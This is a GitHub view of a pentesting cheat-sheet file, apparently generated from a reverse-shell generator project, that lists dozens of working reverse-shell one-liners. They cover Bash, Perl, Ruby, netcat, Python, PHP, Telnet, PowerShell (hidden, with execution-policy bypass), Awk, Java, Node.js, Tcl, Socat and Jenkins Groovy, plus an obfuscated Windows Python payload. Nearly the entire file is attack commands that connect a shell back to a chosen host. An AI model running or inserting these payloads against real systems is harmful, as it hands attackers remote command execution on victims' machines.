-
Notifications
You must be signed in to change notification settings - Fork 14
/
revshells_generated.cheat
116 lines (77 loc) · 8.71 KB
/
revshells_generated.cheat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
% rev shells generated from github/mthbernardes/rsg
$ IP: for adaptername in $(for i in "$(ip a s | sort -r | grep -E $'[[:digit:]]:[ ]')"; do echo $(echo $i | awk '{print $2}' | replace : ''); done); do ip a s $adaptername | grep 'inet\ ' | awk '{print $2}' | cut -d '/' -f 1 ; done | uniq
$ port: echo '9001 443 1234 4444 32000' | tr ' ' '\n'
# Bash reverse shell
bash -i >& /dev/tcp/<ip_target>/<port> 0>&1
# Bash reverse shell
0<&196;exec 196<>/dev/tcp/<ip_target>/<port>; sh <&196 >&196 2>&196
# Bash reverse shell
exec 5<> /dev/tcp/<ip_target>/<port>; cat <&5 | while read line; do $line 2>&5>&5; done
# Perl reverse shell
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"<ip_target>:<port>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
# Perl reverse shell
perl -e 'use Socket;$i="<ip_target>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# Perl reverse shell windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"<ip_target>:<port>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
# Ruby reverse shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<ip_target>","<port>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
# Ruby reverse shell
ruby -rsocket -e'f=TCPSocket.open("<ip_target>",<port>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
# Ruby reverse shell windows
ruby -rsocket -e 'c=TCPSocket.new("<ip_target>","<port>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
# Netcat reverse shell
nc -c /bin/sh <ip_target> <port>
# Netcat reverse shell
nc -e /bin/sh <ip_target> <port>
# Netcat reverse shell
/bin/sh | nc <ip_target> <port>
# Netcat reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip_target> <port> >/tmp/f
# Netcat reverse shell
rm -f /tmp/p; mknod /tmp/p p && nc <ip_target> <port> 0/tmp/p
# Ncat reverse shell
ncat <ip_target> <port> -e /bin/sh
# Python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip_target>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# Python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip_target>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
# Python3 reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip_target>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# Python3 reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip_target>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
# Python reverse shell windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('<ip_target>', <port>)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
# Php reverse shell
php -r '$sock=fsockopen("<ip_target>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'
# Php reverse shell
php -r '$s=fsockopen("<ip_target>",<port>);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
# Php reverse shell
php -r '$s=fsockopen("<ip_target>",<port>);`/bin/sh -i <&3 >&3 2>&3`;'
# Php reverse shell
php -r '$s=fsockopen("<ip_target>",<port>);system("/bin/sh -i <&3 >&3 2>&3");'
# Php reverse shell
php -r '$s=fsockopen("<ip_target>",<port>);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
# Php reverse shell
php -r '$sock=fsockopen("<ip_target>",<port>); $proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);'
# Telnet reverse shell
rm -f /tmp/p; mknod /tmp/p p && telnet <ip_target> <port> 0/tmp/p
# Telnet reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ip_target> <port> > /tmp/f
# Powershell reverse shell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("<ip_target>",<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
# Powershell reverse shell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<ip_target>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Awk reverse shell
awk 'BEGIN {s = "/inet/tcp/0/<ip_target>/<port>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
# Java reverse shell
r = Runtime.getRuntime();p = r.exec(["/bin/sh","-c","exec 5<>/dev/tcp/<ip_target>/<port>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]);p.waitFor();
# Node.js reverse shell
(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);var client=new net.Socket();client.connect(<port>,"<ip_target>",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();
# Tclsh reverse shell
echo 'set s [socket <ip_target> <port>];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
# Socat
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip_target>:<port>,forever &
# Socat windows
socat.exe -d -d TCP4:<ip_target>:<port> EXEC:'cmd.exe',pipes
# Jenkins reverse shell [groovy script]
String host=<ip_target>;int port=<port>;String cmd="sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();